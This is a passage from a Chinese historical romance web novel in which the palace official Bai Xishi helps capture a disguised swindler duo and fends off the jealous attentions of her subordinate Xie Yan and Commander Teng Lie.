下午议程不多,正事商谈完后皇帝见时间还有空闲,便又请了那两位高僧前来为他讲经。白惜时在里头听了一会只觉头脑发胀、昏昏欲睡,为免御前失仪,他便干脆出来透透气,不过这一出来透气,倒似乎是看见了些不该看的东西。 此刻正当御前侍卫交接换班之际,董飞手里拎着个食盒便来与解衍换班,走到近前将食盒一递,董飞笑得爽朗友善。 “解兄,你那日去我家中不是夸四妹妹做的糕点好吃吗?今日她正好又做了些,我就想着再给你带过来尝尝。” 四妹妹? 白惜时耷拉下眼皮,状似不经意的向那边投了一瞥。 第一时间感受到白惜时的视线,解衍缓缓闭了闭眼,再看向董飞时,男子郑重其事、严肃纠正,“没说好吃。” “啊?” 董飞都被解衍这模样搞糊涂了,他是说了什么大逆不道之语吗?解衍怎么一下子脸色都变了,这么紧张? 又“啊”了一声,董飞似懂非懂,想了一会仍然试图将食盒塞到解衍的手中,“反正我带都带来了,你就拿回去吃呗。” 多大的事啊! 垂目、低头,解衍看着那个食盒,此刻只觉有千斤之重。 略一思索,解衍眸光微动,告诉董飞,“暂且等我片刻。” 说完这句话,他便调转步伐,转身朝阶上的白惜时走了过去。 待到只有两步之遥,解衍停下脚步,清透的目光望向连续多日未见之人,继而用只有两个人才能听见的声音问道:“掌印,那食盒我该收吗?” 吊起眉梢,白惜时架子端得十足,“这种小事也需劳烦咱家替你做主?” “是,属下凡事皆听掌印调遣。” “……” 白惜时:“喜欢你就收着,莫要诬陷咱家从中作梗。” 解衍借机解释,“我不喜欢。” 白惜时凉凉一瞥,“不喜欢你还来问咱家作甚?” “好。”谁料男子却很快笑着点头。 像是得到自己想要的答复,解衍向白惜时略一行礼便又阔步从阶上走下,回到了董飞面前,继而开口对着董飞说了什么,由于声线不高,白惜时并没有听清。 只不过看动作应该是推拒了。 然而董飞的答复她倒是每一个字都听清了。 董飞的回答中带着深深的惊愕——“你如今连吃块糕点也需掌印点头?他管你管的这样严吗?” 白惜时:“……” “嗯。”解衍面色如常,“我先将食盒替你带去卫所,你下值的时候记得去拿。” 嗯? 他竟然还敢嗯? 白惜时听到这眼睛都快要瞪圆了,这小子如今越发出息了,竟然敢将自己拿出来做那挡箭牌了! 60-70 第61章 第61章 魏廷川离开京城,启程前往边关。 出发在即,城门外均是送行的亲友及百姓,但男子骑坐于枣红色的骏马之上,目光一直望向城门之内,似乎在搜寻着什么。 “将军可是在等人?”陪同在一旁的副将这个时候驱马上前,观察着对方神色,问了一句。 眼看大军已然整装待发,不能再等,魏廷川最后朝城门的方向望了一眼,知他要等的人不会出现,微一垂首掩去眸中那抹黯淡,再扬起头时,眼底唯有千军万马的浩荡。 随着一声号令,顷刻间士卒列阵,战马嘶鸣,英姿勃发、凛然如战神般的大魏镇北将军端坐于高头骏马之上,继而一抖缰绳,驰骋于队伍的最前方,策马带领大军朝着西北的方向浩荡离去。 京城,再会。 惜时,再会。 山风阵阵,吹来萧索的寒意,白惜时立于山崖之上,目送那玄衣墨发的男子衣袍鼓动,飒然奔赴边关。 魏廷川远征,她必定会来送行,世子是白惜时落魄困窘时一束无法替代的光,惊艳了她的年少时光,这一点,从始至终都不会更改。 只不过祝福送行的方式有很多种,现在应当更适合以这样的方式。 看着山脚下送行的人群亦随着大军出发逐渐散去,白惜时又遥望了一眼黑压压的队伍,目光定格在最前头的那一点,半晌之后,释然一笑,继而转身,对着身后的千闵道了一句,“走吧。” 天各一方,只望,各自珍重安好。 再见面时,亦望闻君凯旋。 白惜时从山崖之上离开后,并没有直接回到宫中,而是带领千闵、元盛等一众东厂之人与锦衣卫汇合。 朝廷目前正在捉捕一名在逃嫌犯,此人名唤“插天飞”,行踪极其隐秘,专门喜好在暗中窥伺皇亲国戚、高官贵胄,了解他们的秉性和日常习惯,继而前往外地冒名顶替这类人群,以收受贿赂、施压逼迫等方式勒索地方官员富商,骗取巨额钱财,听闻每每均可得手,在地方官员和百姓间影响极其恶劣。 对于如此败坏朝廷名声之事,皇帝自然不可忍受,得知此人眼下恰在京中,立即下令厂卫联合势必要将其抓获,不得有误。 但此人既然名唤“插天飞”,自然是有些本事,听闻不仅善于易容伪装,还练有缩骨之术,因而先前几日千闵、蒋寅很是费了一番功夫,才终于将其行踪锁定在了一名京中富贾的家中。 是的,此人从不住客栈酒楼,向来以各种身份隐匿于权贵家中,叫人防不胜防。 而白惜时为保此次行动万无一失,特向天子告假,一同参与捉捕。 为免察觉异动叫那“插天飞”提前防备,行动之前,他们连那富贾张员外都没有打招呼,只与今日要往张员外家送货的镖局议定扮作镖师,混迹其中。 怀抱一把残剑,白惜时面目冷峻跟在镖头身后,敲响大门,进入前厅的时候张员外一见来者阵仗,瞬间被唬了一大跳,概因滕烈、蒋寅、冯有程各个煞气冲天,不像是来送镖的,倒像是来索命的。 张员外战战兢兢,“贵,贵镖局……” 一句完整的话尚未说完,白惜时单手一抬,身后的大门便在这个轻飘飘的手势下轰然闭合,继而脚步声阵阵,顷刻间,整个员外府都被从外头包围了起来。 千闵上前一步,尚算和颜悦色,“东厂北镇抚司查案,还请员外配合。” 就在千闵这和颜悦色当中,张员外满面惊恐,两眼一翻,继而……当场晕死了过去。 白惜时:“……” 千闵望着倒在地上昏迷不醒的老人,觉得有些冤枉,回头问道:“我很吓人吗?” 元盛:“别废话了,搜人要紧。” 锦衣卫与东厂分头行动,于整个员外府内搜寻那所谓的“插天飞”。每一个角落均不放过,连寻常人躲不下的矮箱、灶炉都细细翻找,又查遍暗室地窖,但此人却像是凭空消失一般,四处不见踪迹。 白惜时正兀自蹙眉之际…… “啊~!你们是什么人!” 这时候一声惊慌突兀的尖叫于后院的方向响起,白惜时循着声音,迅速回头示意了眼千闵,“去看看!” 此刻滕烈与冯有程正匆忙从房内退出,重新阖上房门,面上皆是不大自然之色。 概因方才二人进入的时候房内水雾氤氲,屏风后头隐约映出一个窈窕的身影,应当是有位女子正在沐浴洗发。 两个男子此刻立于门外,冯有程看看滕烈,见他已然恢复如常,不由另寻了话题缓解自身的尴尬。 “指挥使,听闻那家伙轻功了得,你说不会已经提前逃出去了吧?” 然而这个问题滕烈尚未作答,千闵已然穿过石径,抢前回复,“不可能,外头弓箭手早已就位,眼下连只鸟都飞不出员外府去。” 眼见千闵后头还跟着白惜时,滕烈已然如常的脸色此刻又出现了一丝裂纹,莫名……不大想让他知道刚才发生之事。 谁料白惜时径直走过来,开口第一句话便是问滕烈,“刚才那声音是怎么回事?” 滕烈:“……” 冯有程见指挥使一时半会像是说不出话来的样子,接过话头,将二人误闯之事如实相告。 白惜时听完没功夫打趣,目光平移,改为盯于此刻紧闭的门扉之上。 眼下整座员外府基本上都被过了一遍,唯独剩下这么一间浴房,张家上下也都多多少少知道了正在搜查之事,而这个时候还有心思沐浴之人,也的确是有些蹊跷。 其实滕烈、冯有程也发现了不对劲,但毕竟男女有别,无法做到不管不顾闯入,因而只能暂时守在门外。 但他们顾及着男女有别,白惜时却没有这种心理负担,为免拖延生变,遂向门边二人示意一眼。 “我去。” “掌印果真胆色过人。”见缝插针向白惜时拍了通马屁,冯有程转身,亲自为他拉开房门。 雾气弥漫的浴房当中,水声似乎仍在继续,白惜时刚一踏入,便见屏风后的一抹倩影一甩秀发,于水中婷婷袅袅地站了起来,继而才像是发现来人,双手抱胸楚楚可怜,“公子,奴家还未穿衣,请先,请先回避一下。” 尚未穿衣却敢于陌生人前从浴桶中起身? 白惜时不为所动,继续向前,不紧不慢绕过屏风,此时便看见未着寸缕的女子立于满是花瓣的浴桶当中,正惊慌失措地望向自己。 顺手扯下屏风上的一件外衣,白惜时抛给对方。 目光很快又在这间不大的室内搜寻了一遍,最后回到起点,重新定格在了浴桶之上,白惜时:“姑娘,咱家无意冒犯,不过东厂办案事关重大,还请配合一二,先从浴桶当中出来。” 那女子看上去委屈害怕,“东厂办案为何要为难我一个小女子?大人这样日后还叫我如何出去见人?不如死了算了!” 白惜时不欲再与她虚与委蛇,“那便多有得罪了!” 话音未落,白惜时脚步骤然一动,敏捷奔至浴桶旁,继而迅速伸手向下探去,与此同时,水面上突如其来爆发出一阵巨大的水花,白惜时偏头一闪,避开浊水入眼。 然而就是这一瞬间的空档,那只披单衣的姑娘却突然发难,抬腿便朝白惜时横踢过去,索性眼睛未瞧见,但倾耳已闻风动之声,白惜时迅速抬臂,眼疾手快挡住一击,不过亦因手、腿力量的不对等,她被突袭的后退两步,侧身碰于廊柱之上。 如此大的动静,外头之人不可能没听见,很快滕烈、冯有程等人悉数赶到,知晓那“插天飞”果真躲于浴桶之内,而此女很可能亦是他的同党,当下众人再没了男女顾及,合力夹击之下,不过片刻功夫便将那二人制伏捆绑。 初经审问,原来这“插天飞”其实是两人,女子精通易容之术,常扮作权贵家身形相似的亲眷、奴仆隐匿于府中,而男子则跟随女子而居,借在府中之际模仿官员举止,继而再离京从事骗局。 拂了拂身上已然半湿的衣衫,待那二人老实缩在墙角,白惜时没什么好脾气的走了过去,蹲下身仔细审视了一番那四处坑蒙拐骗的“插天飞”,唔~传说此人样貌出众、丰神俊朗,因而才能博得那地地方官员的信任,如今看来是有那么两、三分的气度,但离丰神俊朗差了还是不止一星半点。 不过以往一提到男子出众,白惜时脑海中第一个浮现的必然是世子的面庞,然后不自觉的带入对比,但刚才在看着“插天飞”的时候,白惜时脑海里浮现的却是另外一张脸,清隽有之,兼顾俊逸…… 恍然意识到自己在想什么,白惜时回神闭眼,无语半晌,继而一摇脑袋,挥却那些乱七八糟的联想。 干正事的时候别走神,白惜时! 押解二人出府的时候,可怜的张老员外尚未从惊吓中清醒过来,方才忙着拿人审问没有发现,此时走出大门,半湿着衣衫被这深秋的寒风一吹,白惜时才觉出了一股冷意。 来时匆忙没带多余的衣衫,白惜时眼下便只想快些回到马车之上,也好回府将这一身湿衣换下。 滕烈行与白惜时并肩同行,此刻见身边之人眉头微蹙拢了拢衣襟,迟疑片刻,叫住白惜时,“我处尚有件常备的外衫,掌印若是觉得冷,我去拿过来给你。” 看了一眼近在咫尺的马车,白惜时谢绝,“不必,马上就可回府。” 说话的时候,白惜时顺带着朝滕烈的方向偏了下头,也正是因为这一偏,男子目光定格在了他的左颊下方。 “掌印,面上有一块印迹。”滕烈伸手,隔空指了下大致的位置。 印迹? 想到被那女子袭击之下侧脸碰上廊柱,当时确实有一股黏腻之感,好似是未干的油漆。 伸手按照对方所指在皮肤上用力擦了一下,白惜时看向男子仍未移开的目光,“还有?” 滕烈一点头,“有。” 闻言又用力蹭了蹭,白惜时再次看向滕烈确认。 这一回,滕烈盯着那处仍未被完全擦掉的漆红看了片刻,没再点头或者摇头,而是鬼使神差的盯着瓷白肤色下突兀的红点,垂首,尝试着伸出手,用拇指指腹帮他将上头剩下的最后一些印迹抹去。 当对方手指倏然伸来之际,白惜时本能的想要回避,不过转念一想又似乎太过大惊小怪,同是男子的情况下此行不过举手之劳,因而便又顿了顿,不过就是这一顿的功夫,滕烈已经重新将手收了回去。 男子面容仍旧冷肃无波,“好了。” 见他一直是这副寒潭般的模样,白惜时便更没往心里去,“有劳指挥使。” 此人偶尔还挺热心。 然而就在白惜时开口说话的同时,一声“掌印”亦从前端传来,白惜时闻声望过去,便见身姿挺拔的男子立于街道对面,臂弯中还着挂着一件披风,正越过川流不息的人群,朝自己这边走了过来。 靠近,停步,继而将手中的披风往白惜时身上一展,解衍面色如常,只不经意往那被擦红的左颊上多看了一眼,继而才转身,笑看了一眼滕烈,“指挥使,先行一步。” 第62章 第62章 解衍值完夜,回到府中一觉睡醒已是接近午时,记起东厂今日的捉捕行动,又听孟姑姑念叨着变天降温,解衍出门的时候便多带了一件披风,预备去看看眼下白惜时那边情势如何,可有需要帮忙之处。 刚到张府对面,便看两名嫌犯被五花大绑押了出来,弓箭手亦在有序列队撤离,知晓此行应当还算顺利,解衍放下心的同时,抬眼间恰发现白惜时与滕烈一起并肩走了出来。 然后,就是滕烈伸手,帮白惜时抹去颊边的红漆…… 回程的马车当中,白惜时、解衍相顾无言,二人近来还是不冷不热,白惜时早出晚归,唯一碰面的机会便是解衍白日御前当值,不过天子眼皮底下基本也是各忙各的,没什么功夫搭腔说话。 白惜时依旧在回避解衍。 不过今日见他夜间当值应当还没睡好,眼下泛着青色便拿着披风来找自己,多少有些动容,因而很是好脾气看了对方一眼。 左右途中无事,说两句话亦不是不行。 然而当白惜时望了过去,解衍目光虽也望向自己这边,但眼神定于左侧一点,看样子正在想着什么出神。 单指拨开车帘,白惜时改为暼向窗外,他不开口便罢。 不过这一动,男子很快回神,继而声音便从后头传来,“掌印衣衫已湿,不宜吹风。” 白惜时继续暼着窗外,权当没有听见。 解衍顿了片刻,换了个说法,“孟姑姑嘱咐,天气转凉,让属下时刻提醒掌印莫要吹风受寒。” 这回手指终于从车帘上收了回来,坐直身子,白惜时问得看似漫不经心,“孟姑姑让你给咱家送的衣服?” 不是解衍要送? 本想否认,但略一思索,鉴于白惜时近来对自己的排斥回避,解衍一点头,改口回了句“是”。 靠坐回椅背,白惜时一言不发,环臂假寐,捉那个“插天飞”实在费了她不少功夫,眼下颇为疲累,实在……不想说话。 匆匆回府换了身衣衫,继而不能久留便又要马不停蹄赶回宫中向天子回禀今日之事,出门的时候双目不经意一扫,白惜时面无表情,迈步下阶,不过迎面候着的彭管事此刻颇为有眼力界,一边陪着白惜时往外走一边道: “掌印是找解公子吧?他被孟姑姑叫走了,孟姑姑正在给掌印收拾换季的衣衫,想让解公子晚些给您送进宫去。” 白惜时听完停下脚步,“咱家说要找解衍了吗?” 彭管事被问得一愣:“那,那您是……?” “咱家找的是黄麻!” 白惜时:“黄麻呢,怎么今日没瞧见它?” 彭管事:“掌印您忘了,您回宫那日就嘱咐人将它送回东厂去了,黄麻如今不在府中。” “唔~好像确有其事。”白惜时不是怎么在意地一摆手,“近来事多,偶有健忘。” “哎哎,掌印您日理万机,这点小事不必挂心。” …… 白惜时自行乘坐马车回到了宫中,与滕烈在勤政殿汇合一同向天子回禀了“插天飞”的初审情况后,又被留下商议后续处置及如何向百姓公布其冒名顶替之事,以最大限度消除影响。 等再回到司礼监的时候,已经是傍晚时分。 刚一踏入门,便闻见了一股香香甜甜的芝麻香味,走近一看,原来是江小锁已从内学堂下学回来,此刻正抱着碗芝麻糊吃得开心不已。 而江小锁旁边还坐着一个人,正是解衍。 二人见到白惜时,均从椅凳上起身,小锁将急忙将最后一勺送入口内,继而才不大好意思地挠挠头,“掌印,解大人带来的芝麻糊特别香,徒儿闻见味道就饿了,没忍住先吃了一碗。” 白惜时瞧着少年那嘴唇周围黑糊糊的一圈,额角轻轻一跳,“先去把脸擦干净。” “哎!” 小锁抱着碗欢欢喜喜地去了,在走出去的空档还不忘把碗壁上剩下的那点残渣舔了个干净。 白惜时:“……” 她这个徒弟什么都好,就是吃什么都香,还酷爱吃得满嘴满脸都是,叫略有些洁癖的她偶尔无言以对。 待小锁走后,内堂之中便只剩下解衍与白惜时二人,径直越过男子,白惜时兀自整理着案几上的一应笔墨,“找咱家有事?” 解衍:“是。芝麻糊是孟姑姑托我带给掌印,她已经事先磨成粉末,说是掌印冬季喜食,冲泡方便。” “还有一些换季的衣物,这次也一并给掌印带过来。” “放那吧,一会咱家自会收拾。” 往那包袱之处瞥了一眼,白惜时继续手上的动作,卧房之内除了简单的洒扫她从不假以人手,以免有心之人从中发现端倪。 背着身子又收拾了一会,始终没听见后头的动静,回过头去,白惜时与男子大眼瞪小眼,“东西已送,还有其他事?” 解衍闻言一笑,没再说什么,继而抬步迈出了内堂之外。 “……” 待人彻彻底底消失于自己的眼前,无端笑了一声,白惜时这时候东西也不规整了,改为绕过案几坐了下来,继而提壶给自己倒了一杯茶,清清火。 空空如也的腹中此时被茶水填了个饱,白惜时看着堆积成厚厚一叠的折子,想了想,放弃了吃些东西垫垫肚子的打算,抽过第一本,翻开来详看。 只不过没看两行,熟悉的脚步声复又响起,从奏章中抬头,便见方才已然离去的男子手中端着一碗冲泡好的芝麻糊,重新走了过来。 略一抬眸,白惜时看着一步步靠近的解衍,不露喜怒,以眼神询问原因。 将搅拌好的芝麻糊置于白惜时的右手边,男子微微倾身,“孟姑姑嘱咐,掌印时常因忙碌忘记进食,嘱咐属下定要盯着掌印吃完再走。” 瞄了眼对方撑在案几上的手,侧首,白惜时就这么看向那双望过来的漆黑色眸子,隔了片刻,问他,“是孟姑姑的嘱咐,还是你的嘱咐?” 她因繁忙错过用饭是来司礼监之后的事,孟姑姑应当并不知晓。 解衍神色不变,“是孟姑姑。” 继而又示意了眼还冒着热气的瓷碗,男子目光诚挚清澈,“掌印若是不想见到我便趁热吃,吃完属下就走。” 闻言又瞥了对方一眼,白惜时将头扭了回去,折子移于一旁避免弄脏,这才拿过勺子,一口一口吃了起来。 几口热乎乎的食物下肚,整个人确实舒服了许多,方才那种腹中空虚之感也一扫而空,不过白惜时并不准备表现出来,做掌印就讲究个高深莫测,不能叫人一眼看穿。 唔~高深莫测。 白惜时拿捏着这种感觉吃完了一整碗,继而准备以一个漂亮的回勺于碗结束这一场沉默的用餐,但……没成想阴沟里翻船,回勺的角度偏高了些,勺子磕碰于碗壁上发出“吧嗒”一声,继而两滴残汁扬起,溅在了脸上。 …… 很好,高深莫测没了。 解衍将方才的一幕看在眼里,没有任何要取笑白惜时的迹象,而是很快转身,拧了一块湿巾帕给白惜时递了过来。 抬手接下,白惜时往方才溅到的地方拭了拭,待感觉差不多,将巾帕叠好搁于桌子一角。 男子此刻亦盯着对方,见此情状眼神执着于一处,诡使神差下又重新拿起巾帕,对着白惜时左颊偏后的位置轻轻拭了上去,一边擦一边认真道:“还有。” 白惜时感受到擦拭的位置,心下莫名了然了几分,那是滕烈今日上午滕烈顺手替她擦去红漆的位置。 解衍看见了。 胳膊搭在案几上,白惜时偏过头去看他,“咱家怎么感觉没溅到过这里?” “嗯。” 嗯? 望进男子那一双执着又认真的眸子,白惜时见他仍旧动作不停,审视了半晌,开口道:“你现在的眼神不对。” 解衍继续擦,目光锁定左颊,“哪里不对?” 白惜时戳穿,“幽暗、偏执。” “嗯。” 解衍闻言没有否认,而是又擦拭了几下,直到觉得另一个人的印迹被完全抹去,才转眸,同样对上白惜时的目光。 “那掌印可有法子让属下摆脱这种幽暗偏执?”男子低声问了一句。 视线在咫尺间交汇,二人就这么对望了许久,仿佛有什么无声之言在暗暗涌动,互相都想要更加看清对方的所思所想。 最后还是白惜时率先开口打破了这凝滞又莫名带些闷燥的气氛,扬唇一笑,随之身体后仰,探向屉子,“那你算是问对人了。” 拉开木屉,将那本《无欲清心咒》抽出来,一把拍进解衍的怀中。 白惜时:“正巧两位高僧昨日送天子书籍之时顺带也赠了咱家一本,不过咱家觉得现下你更需要,今日便慷慨转赠,记得拿回去好好研读。” 男子被白惜时不轻不重的一拍不至于失去重心,不过还是很配合的后退一步,缓缓背靠回墙壁之上,垂首,翻开里头的内容掠过几眼……露出一个无声的苦笑。 就着半靠在墙边的姿势继续读了两页,继而眸光微动,解衍抬首,“这《无欲清心咒》的内容太过博大精深,属下若有不懂之处,可否改日来向掌印探讨请教?” 闻言停顿片刻,白惜时侧眸,“若是你心诚,咱家考虑考虑。” 第63章 第63章 这日下午,皇帝于勤政殿听颂佛经,得知帝王喜好,许多大臣便也投其所好时常与皇帝探讨佛法,因而勤政殿内所纳之人颇多,各个庄重肃穆,白惜时没这方面的悟性,便找了个借口回到司礼监忙自己的事务。 自那日应了解衍“看他心诚”之言,男子每隔三、四日便会带着那本《无欲清心咒》来司礼监,频率分寸把握的刚刚好,讨教几句便会自行离去,仿佛就是为修身养性而来。 托他隔三差五熏陶的福,眼下天子说出些几句颇含佛理的话白惜时也能应对的上来,因而很是被皇帝赏识的看过几眼。 白惜时亦未再刻意回避解衍。 不过这日下午解衍来后没多久,汤序便来报,说是端静公主前来找掌印还书,闻言看了一眼正坐于一旁椅凳上苦读的男子,公主内秀,见有外男在此恐怕会有些放不开,白惜时考虑了片刻,将解衍唤了起来。 转而走过去拉开另一道门,“你先去里头回避片刻。” 内堂连接着的是白惜时的起居室,平日里除了两名负责洒扫的小太监,白惜时并不喜欢旁人涉足其中。 现下看向朝着自己打开的大门,解衍一时竟有些怔愣,又确认般地看了白惜时一眼。 白惜时被他看得莫名其妙,催促了一句,继而才像想起什么严肃提醒道:“老实在里头坐着,不要乱动咱家的东西。” “嗯。” 解衍抬步踏了进去,起居室分为里外两间,外为暖阁,里为卧房,虽两间当中仍被一道上了锁的雕花月木门隔开,解衍亦只能看见暖阁的景象,不会涉足卧房,里头也不过就是些圆桌、圈椅、花架等寻常陈设,但,还是让人觉得不一样。 一件搭于椅背的薄毯,一盘未食完的核桃仁,罗汉床边还留着曾有人在此半躺过,尚未来得及被抚平的印迹。 这里到处充斥着白惜时的气息。 淡淡的,有些像雨后雪梨的香气,不会发甜,却清新自然,沁人肺腑。 男子很是规矩的坐在一把圈椅上没有走动,但身处其中莫名有些拘谨,又低头看了眼手边握着的《无欲清心咒》,他拿起来,尝试着读了两页。 片刻之后,复又徒劳放下。 ……这书好像,对他起不了什么作用。 起居室之外,白惜时并不知解衍此刻感受,暖阁在她看来虽属于私人领地,但毕竟不如卧室隐私,都是些常规陈设,况且此刻连接着内堂的门亦是打开的,她可随时听见里头动静,因而并没有太放在心上。 端静公主走进来的时候,看起来有些沮丧忧愁,默默向白惜时问了好,便一本一本将上次借来的古籍放回原来的位置。 完全没有前几次的兴奋喜悦。 白惜时看着她,“公主近来可是有什么烦恼之事?” 被说中了心事,端静便也没有要隐瞒,其实她此次前来,就是抱着向白惜时请教的意思。 望眼这一整个皇宫,也只有掌印愿意为她答疑解惑了。 “掌印,过几日太后寿辰,父皇邀请了皇叔们一起为太后贺寿,每一年的这个时候父皇还会当众考学。” 说到这里小公主似是被勾起了什么不开心的回忆,“我之前均是被排在很后头,父皇问的问题,一圈下来能说的出彩答案都被前头的说完了,每次轮到我便很难再想出有新意的,即便有也只是补充,并不出彩。” 小公主很在意父皇对她的看法,每年也只能在这些特定的时候才能于父皇面前露一露脸,因而更希望为父皇争光,不要叫他失望。 不过皇宫当中从来都是见人下菜,这种排位顺序也很讲究,因为皇帝面子上也讲究个公平,问问题的时候注重兼顾,不会将自己的女儿统统排在前头。 伺候的宫人揣摩出皇帝用意,自然是皇帝宠爱的公主排在最前头,继而是他所器重看好的宗室子,而像端静公主这样从来都被忽视的,排位必定靠后。 因为她没有靠山,将她往后排亦不会得罪什么有权势之人。 白惜时听完,“需要我将公主的位置向前排吗?” 此事对她来说,确实不难。 “不用不用……” 端静公主没想过这样麻烦掌印,很快摆手,很认真的那种。 见小公主拒绝,白惜时扬起唇角,“不过咱家亦觉得此为下策,排于最后在我看来,并不是个不好的位置。” 闻言,端静公主的眼睛很快亮了起来,“掌印果真有办法?” “不算什么办法。” “排在最后,便可将前人所言总结归纳,整合成条理清晰的几条论点,除此之外,若是能辅以补充一两条旁人未考虑到的意见,如此,天子应当会觉得有所不同。” 前头十几个人的观点,不管多出彩,一条条听下来多少会显得杂乱记不清,这时候若是可以稍作记录,在最后对前头的论点加以梳理,再稍作补充,会是另外一条途径。 也更像一个真正掌权之人会做的事。 既然不能用漂亮的观点让人眼前一亮,那便用缜密清晰的逻辑。 端静公主听完,低头兀自揣摩消化的好一会,继而才兴奋地抬起头,“我明白了,多谢掌印指教。” 白惜时:“公主聪慧,必当可让你的父皇刮目相看。” 公主睁着一双漂亮的大眼睛,“真的?掌印真的这么认为吗?” 白惜时颔首,“真的。” 公主博览群书,应当是比许多男子都要用功刻苦的。 来的时候郁郁寡欢,离开的时候便又豁然开朗,端静公主正为了找到破题之道而开心,出门的时候便没瞧见来人,一不小心和对方撞在了一起。 小公主没怎么当回事,还笑与对方打了声招呼,“赵岳。” 听见公主称呼自己的名字,少年面色一怔,继而很快低下头,给对方让出了一条通道。 “公主认识赵岳?”白惜时瞧见二人情状,随口问了一声。 在司礼监认识的? 不过端静公主的回答否认了白惜时的猜测,“嗯,在太后处见过两回。” 说着又看了眼与自己年纪相仿的少年,端静公主:“上次还要多谢赵岳替我解围。” 赵岳闻言神情冷漠,“我没有。” “不管有没有,都要谢谢你。” 概因上次她从房中出来,正碰见太后与赵岳说话,眼见又要被责备,是赵岳当时开口与太后说了什么才岔开话题,也让她免于一顿训斥。 端静公主说完便高高兴兴地走了,内堂之中,便只剩下白惜时与赵岳二人。 “太后近来曾找过你?”白惜时问少年。 “是。” “都说了些什么,可有为难?” 闻言少年眼神一暗,“没有,就是说了些些以前的事。” 以前的事? 见他明显不大想提的样子,白惜时没有再继续这个话题,又问了几句今日的课业情况便叫他自去休息。 不过她并没有放下心来,太后找赵岳,到底是为了什么? 暂时按下疑虑,白惜时还记得里头的起居室尚有一人,一直没听到动静不知是不是还在苦读那本经书,转身,走进去一看…… 竟发现那人以手支头,就这么在圈椅中睡着了。 …… 在她这还真是放松啊,这样也能睡着? 白惜时又凑近了些,盯着男子的眉目瞧了瞧,唔~有点顺眼。 在叫醒他与让他继续睡之间迟疑片刻,白惜时最后还是转身,从椅背下取下那张薄毯,搭在了男子的身上。 继而半掩木门,一个人回到了内堂。 兀自又处理了会折子,在快接近黄昏的时候,冯有程出宫正好路过了一趟司礼监,他来找白惜时其实也没什么事,就是纯联络联络感情,唠唠嗑。 白惜时也不排斥他,便一边处理政务一边与他搭腔应上几句。 聊到眼看天色不早,宫门就快要落钥,冯有程对这次的搭关系之旅很是满意,觉得自己真他娘的是个人才,都说掌印喜怒不定不好接近,你看,他这不跟他聊挺好么! 这人与人之间相处啊,主要还是要讲究方法。 掌印最后还让他给指挥使带话呢,问他什么时候得空,需得问一问赵岳近来的情况。 冯有程愉悦自得、满口答应,承诺必定将话给指挥使带到。 就在说完这句话准备起身告辞之际,然而掌印身后突然传来响动,他起先还不知道是什么,谁成想没过一会,看见解衍就这么堂而皇之从里面走了出来。 如,如果他没记错的话,那里头应该是掌印的卧房吧? 冯有程惊疑不定,目光在白惜时与解衍两个人之间瞟来瞟去。 解衍看见对方倒算是镇定自若,只瞥了冯有程一眼,便转头冲白惜时低声道:“掌印,毯子已叠好放回原处。” “唔~好。” 这人没事提什么毯子。 解衍:“那属下这便去回去了。” “嗯。” 叠毯子?什么意思? 来收拾屋子打扫卫生的? 冯有程想破脑袋都想不明白怎么回事,这时候便见男子一脸神清气爽的从自己身边经过,继而淡然一笑,率先跨出了门庭。 那笑容怎么形容呢,既淡然,又不淡然,冯有程描述不好。 不过他知道姓解的巴结掌印向来是一把好手,因而在出门的时候,攀比欲就被对方刺激出来了。 抓住汤序,冯有程打听,“你们掌印有没有什么喜好的东西,比方说文玩、花草、吃食什么的?” 汤序想了想,掌印好像没什么特别喜欢的,就是近来繁忙,喝茶提神的情况比较多。 因而便也如实相告,汤序:“掌印近来,尤好绿茶。” 第64章 第64章 第二日,冯有程到达北镇抚司便将白惜时的话转告给了滕烈。 滕烈听完颔首,近日事务繁忙,自赵岳逐渐接受内宦的身份和处境之后,他进宫的频率便少了一些,确实对赵岳的关注也不如从前。 只上一次练功时发现他略有些不专心,考虑到少年人心性,便也没有太放在心上。 正欲明日抽空去趟司礼监,冯有程禀报完此事摸了摸下巴,开启另一个话题,“指挥使,我近来想买些茶叶给掌印送过去,您看送什么茶比较合适?” 滕烈:“为何突然想起送茶?” 冯有程自叹不如的一摆手,将昨日遇见解衍从白惜时起居室中出来的事情说了,想着他是没那个本事照顾起居,但投其所好送送东西还是可以的。 汤序说的茶叶也正好合适,既不是太贵重,又拿得出手,掌印应当不会拒绝。 结果一说完,冯有程半天没听到回响,抬头一看,哦豁,差点吓了他一大跳,指挥使脸黑的跟锅底似的。 “指挥使,可是有什么地方不对?” 滕烈冷眼看他,“你觉得呢?” 冯有程琢磨半晌,“难道解衍那厮不是进去收拾卫生的?” 继而又自觉好笑般的打趣了一句,“那总不能是进去献身的吧?” 男子听完薄唇一抿,周身气场越发冷冽。 冯有程:“……” 他不会当真了吧? 男子良久没有说话,再望过来时,便是例行公事的口吻。 “冯副使,西北丢失的那批军粮查得如何?” “刑部司接过来的命案可有进展?” “在逃的细作是否已经捉拿归案?” 一连三问,直接将冯有程问得汗流浃背,“这个,这个……属下……” 怎么突然就转到这上头去了呢,让人怪猝不及防的。 半睁着一双寒潭般的眸,滕烈看向对面之人,“若是没记错,这些案子应当都是冯副使在牵头负责,既然眼下皆不能给我个结果,冯副使觉得应当以何事为重?” 一瞬间站直身体,冯有程:“指挥使教训的是,属下这就去抓紧督办!” 脚底抹油趁机开溜,等走出门后冯有程才莫名其妙站定在台阶之上,继而回头心有余悸地看了一眼,“怎么回事,吃火药了?” 他不就随便开了个玩笑么,指挥使受什么刺激了? 鉴于冯有程那一番话,受刺激的指挥使此刻正于太师椅中静坐,片刻之后,男子没再等到第二日,而是决定将当天的一应事务压缩提前,并于下午赴宫中先看望了赵岳,继而才前往司礼监。 不过到的时候,白惜时并不在内堂之中,汤序告诉他掌印正于勤政殿伴驾,约摸还要有半个时辰才能回来。 滕烈表示知晓,并于客椅上坐了下来。 待浅啜了一口茶,男子才目光微移,向内堂之后的屏风处望了一眼。 汤序瞧见他望的方向,笑着解释了一句,“指挥使,那后头是掌印在司礼监的起居之地。” 滕烈状似随口一问,“待客吗?” 汤序:“不待客,掌印不喜外人涉足,连奴才都没进去过,房中一应事务,掌印亦喜好亲力亲为。” 听到汤序如此答复,男子握着茶盏的手一紧,修长的手指上,因用力而隐隐有青筋呈现。 而此刻的白惜时,正于勤政殿外看着夕阳。 概因皇帝与她说话说到一半,身怀六甲的怡妃娘娘突然带着补品前来看望圣上,为了不在里头碍事,白惜时很是知趣的退了出来。 等到怡妃娘娘出来,她再回去便是。 